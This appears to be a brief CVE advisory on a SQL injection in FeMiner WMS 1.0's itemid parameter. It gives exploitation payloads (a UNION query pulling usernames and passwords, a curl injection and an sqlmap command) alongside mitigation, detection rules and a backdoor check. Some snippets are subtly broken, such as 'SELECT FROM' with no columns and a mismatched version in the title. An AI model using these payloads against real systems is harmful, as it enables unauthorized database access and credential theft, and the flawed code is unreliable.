FeMiner WMS 10, SQL Injection, CVE-2025-25993 (Critical)

How the CVE Works:

CVE-2025-25993 is a critical SQL Injection flaw in FeMiner WMS 1.0. The vulnerability exists in the `itemid` parameter, where unsanitized user input is directly concatenated into SQL queries. Attackers can manipulate this parameter to inject malicious SQL payloads, enabling unauthorized database access, data exfiltration, or command execution. The lack of input validation and prepared statements allows attackers to bypass authentication, dump sensitive records, or manipulate backend databases.

DailyCVE Form:

Platform: FeMiner WMS
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/02/2025

What Undercode Say:

Exploitation:

1. Payload Example:

itemid=1' UNION SELECT username, password FROM users--

2. Exploit via cURL:

curl -X GET "http://target.com/api?itemid=1' OR 1=1--"

3. Automated Testing with SQLmap:

sqlmap -u "http://target.com/api?itemid=1" --risk=3 --level=5

Mitigation:

Patch: Upgrade to FeMiner WMS 1.1 or apply vendor patches.

2. Input Sanitization:

$itemid = mysqli_real_escape_string($conn, $_GET['itemid']);

3. Prepared Statements:

$stmt = $conn->prepare("SELECT FROM inventory WHERE itemid = ?");
$stmt->bind_param("i", $itemid);

4. WAF Rules: Block SQL keywords in requests (e.g., UNION, SELECT).

Detection:

1. Log Analysis:

grep "itemid=.[';]" /var/log/apache2/access.log

2. IDS Signature:

alert tcp any any -> $HTTP_SERVERS 80 (msg:"SQLi in itemid"; content:"itemid="; pcre:"/(\%27|\')/";)

Post-Exploit Analysis:

1. Database Audit:

SELECT FROM mysql.user WHERE password = '';

2. Backdoor Check:

find /var/www -name ".php" -exec grep "eval(" {} \;